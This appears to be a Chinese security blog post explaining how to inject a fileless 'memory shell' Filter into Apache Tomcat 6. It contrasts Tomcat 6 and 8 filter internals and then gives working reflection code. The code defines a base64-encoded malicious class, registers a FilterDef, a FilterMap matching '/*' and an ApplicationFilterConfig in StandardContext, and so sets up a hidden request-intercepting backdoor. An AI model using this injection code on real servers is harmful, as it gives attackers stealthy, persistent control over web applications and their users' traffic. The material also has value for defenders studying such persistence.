首页 > 系统相关 >Java安全之Tomcat6 Filter内存马

Java安全之Tomcat6 Filter内存马

时间:2022-10-30 01:55:05浏览次数:46  
标签:filter Java String filterDef private Filter Tomcat6 null class

Java安全之Tomcat6 Filter内存马

回顾Tomcat8打法

先回顾下之前Tomcat789的打法

这里先抛开 7 8之间的区别, 在8中,最后add到filterchain的都是一个filterconfig对象

ApplicationFilterConfig包含了FilterDef对象

构造方法如下,如果当前filter属性为null会从FilterDef取filter的实例对象

ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException {
        this.context = context;
        this.filterDef = filterDef;
        if (filterDef.getFilter() == null) {
            this.getFilter();
        } else {
            this.filter = filterDef.getFilter();
            this.getInstanceManager().newInstance(this.filter);
            this.initFilter();
        }

    }

FilterDef中存储了filterClass / filterName / filter 属性

public class FilterDef implements Serializable {
    private static final long serialVersionUID = 1L;
    private static final StringManager sm;
    private String description = null;
    private String displayName = null;
    private transient Filter filter = null;
    private String filterClass = null;
    private String filterName = null;
    private String largeIcon = null;
    private final Map<String, String> parameters = new HashMap();
    private String smallIcon = null;
    private String asyncSupported = null;

    public FilterDef() {
    }

再有就是createFilterChain中还涉及到filterMap

FilterMap里主要存放urlpatterner和filterName的映射

public class FilterMap extends XmlEncodingBase implements Serializable {
    private static final long serialVersionUID = 1L;
    public static final int ERROR = 1;
    public static final int FORWARD = 2;
    public static final int INCLUDE = 4;
    public static final int REQUEST = 8;
    public static final int ASYNC = 16;
    private static final int NOT_SET = 0;
    private int dispatcherMapping = 0;
    private String filterName = null;
    private String[] servletNames = new String[0];
    private boolean matchAllUrlPatterns = false;
    private boolean matchAllServletNames = false;
    private String[] urlPatterns = new String[0];

  • tomcat8下注入filter内存马流程如下:

  • FilterDef: 设置 setFilter(Filter filter) setFilterName(String filterName) setFilterClass(String filterClass) 这里filterName和filterClass应该不是一个东西,最后调用StandardContext#addFilterDef将该恶意filterdef put到this.filterDefs

  • FilterMap: addURLPattern("/*") setFilterName(String filterName) setDispatcher(DispatcherType.REQUEST.name()),最后调用StandardContext#addFilterMapBefore(filtermap) 添加到this.filterMaps

  • ApplicationFilterConfig: 调用有参构造将FilterDef作为参数传递进去后调有参构造实例化一个ApplicationFilterConfig,最终put进standardcontext的属性里去。

探索Tomcat6与Tomcat8之间的区别

主要看下tomcat6和tomcat8之间createFilterChain不相同的地方 看到ApplicationFilterFactory#createFilterChain

跟进getFilter

主要代码如下:

所以这里构造filterDef的时候filterClass为evilfilter的全类名即可

再来看下FilterDef 可以发现确实在Tomcat6下面没有filter这个属性了

所以一个很大的区别就是在getFilter方法,也就是获取filter实例对象的逻辑:

Tomcat8中是通过filterDef的属性filter值来拿到 恶意filter实例

Tomcat6中是通过filterDef的属性filterClass属性作为类名,通过ClassLoader去实例化

这里当我们调用有参构造实例化ApplicationFilterConfig时,会进入getFilter方法逻辑内

重点看loadClass方法是否可以加载到我们的恶意filter,因为这个filter并不是真实存在,且我们也只是通过了当前线程去defineClass的

跟进WebappClassLoader#loadClass

看到this.findLoadedClass0(name)从resourceEntries也就是classes下各个包中的.class找,是否有这个类,有的话直接return 这个entry的loadClass属性

这个属性存储的是该类的class对象,如果这里面有该类名,后面就直接resovleClass了

这里肯定是没有我们的恶意filter,继续往下跟

后面直接调用java.lang.ClassLoader#findLoadedClass来通过ClassLoader去找是否已经加载过该class了

而在这里是直接找到了

查阅开发资料并思考了一下:

这里因为我们之前是通过当前线程上下文加载器把恶意filter给loadClass了,所以这里就是可以找到的

后面随手翻了下classloader的属性,发现在classes属性是存在该filter的class的

那么正好来debug一下当前线程上下文ClassLoader#loadClass的过程

可以看到当前上下文的ClassLoader就是WebappClassLoader,并且此时classes属性里并没有我们的恶意类

而当步过defineClass后,当前线程上下文ClassLoader也就是WebappClassLoaderclasses属性中就新增了我们的恶意filter的class

所以后续在getFilter的逻辑中也是可以成功通过

回溯上面的逻辑时,getFilter方法因为会走到这个else逻辑内,所以最终也是通过WebappClassLoader#loadClass的我们的恶意filter

以上,所以因为我们前面调用的是Thread.currentThread().getContextClassLoader()去加载的我们恶意filter类,而tomcat6中getFilter逻辑是通过this.context.getLoader().getClassLoader();去findClass,而这两个ClassLoader又同为WebappClassLoader所以不会存在ClassNotfound的问题。 所以tomcat6中注入filter内存马就不需要先实例化恶意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()defineClass一下恶意filter即可。

注入内存马的主要代码如下:

Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var1.setAccessible(true);
byte[] var2 = base64decode("base64 str");
var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);

try {
          
  if (STANDARDCONTET != null) {
    // 1 反射获取filterDef
    Class FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
    Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{});
    Object filterDef = FilterDefconstructor.newInstance();

    // 2 设置filtername
    Method setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class);
    setFilterNameMethod.invoke(filterDef,filterName);

    // 3 setFilterClass
    Method setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class);
    setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName());

    // 4 addFilterDef
    Method addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass);
    addFilterDef.invoke(STANDARDCONTET,filterDef);

    // 构造FilterMap
    Class FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
    Object filterMap =  FilterMapClass.newInstance();

    Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class);
    setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef));
    Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class);
    setDispatcherMethod.invoke(filterMap,"REQUEST");
    Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class);
    addURLPatternMethod.invoke(filterMap,"/*");

    Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
    addFilterMapMethod.invoke(STANDARDCONTET,filterMap);

    // 创建filterconfig 并添加到standardcontext.filterconfigs数组里
    Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
    Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));
    filterConfigCon.setAccessible(true);
    // 实例化ApplicationFilterConfig时触发getFilter方法
    Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef);

    Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET);
    filterConfigsMap.put(filterName, filterConfigObj);

  }


} catch (Throwable var16) {
  var16.printStackTrace();
}

标签:filter,Java,String,filterDef,private,Filter,Tomcat6,null,class
From: https://www.cnblogs.com/CoLo/p/16840371.html

相关文章

  • JavaScript – event loop 事件循环, 单线程, Web Worker
    前言因为要写RxJS系列,有一篇要介绍scheduler.它需要基础的JS执行机制,于是就有了这里篇. 顺带也介绍以下WebWorker呗. 参考知乎–详解JavaScript中的......
  • netty高性能编程-第2章Java BIO编程
    2.1IO模型I/O模型简单的理解:就是用什么样的通道进行数据的发送和接收,很大程度上决定了程序通信的性能Java共支持3种网络编程模型/IO模式:BIO、NIO、AIOJavaBIO:同步......
  • java 二维数组
    publicclassArrayTwo{publicstaticvoidmain(String[]args){int[][]arr={{1,2,3},{11,223,44}};......
  • Java如何获取当前的jar包路径以及如何读取jar包中的资源
    如何加载jar包中的资源。1.比如说我要得到背景图片,源代码中它是/src/UI/image/background.jpg那么在jar包中它的路径应该是/UI/image/background.jpg路径最前面的/......
  • JAVA-事件监听机制
    packagecom.itheima;importjavax.swing.*;importjava.awt.event.ActionEvent;importjava.awt.event.ActionListener;publicclassJFrame11{publicstati......
  • JavaScript
    JavaScriptJavaScript(JS)是一种脚本语言,可以用来更改页面内容,控制多媒体,制作图像动画等.在body标签里面写一个script标签,在script标签里面编写JavaScript代码......
  • JavaWeb-MySQL基础
    JavaWeb-MySQL基础1,数据库相关概念1.1数据库存储和管理数据的仓库,数据是有组织的进行存储。数据库英文名是DataBase,简称DB。数据库就是将数据存储在硬盘上,可......
  • Java顺序结构和分支结构
    Java顺序结构和分支结构1.*顺序结构任何编程语言中最常见的程序结构就是顺序结构。顺序结构就是程序从上到下逐行地执行,中间没有任何判断和跳转。如果main方法的多行代......
  • JAVA-考勤查询
    packagecom.itheima;importjavax.swing.*;publicclassJFrame09{publicstaticvoidmain(String[]args){JFramejf=newJFrame();jf.s......
  • java8 stream按某个字段分组,允许分组字段是null
    Map<String,List<Dto>>deviceMap=deviceList.stream().collect(Collectors.groupingBy(Dto::getFlowId));场景:如果getFlowId是null.就会包以下错误elementcannotb......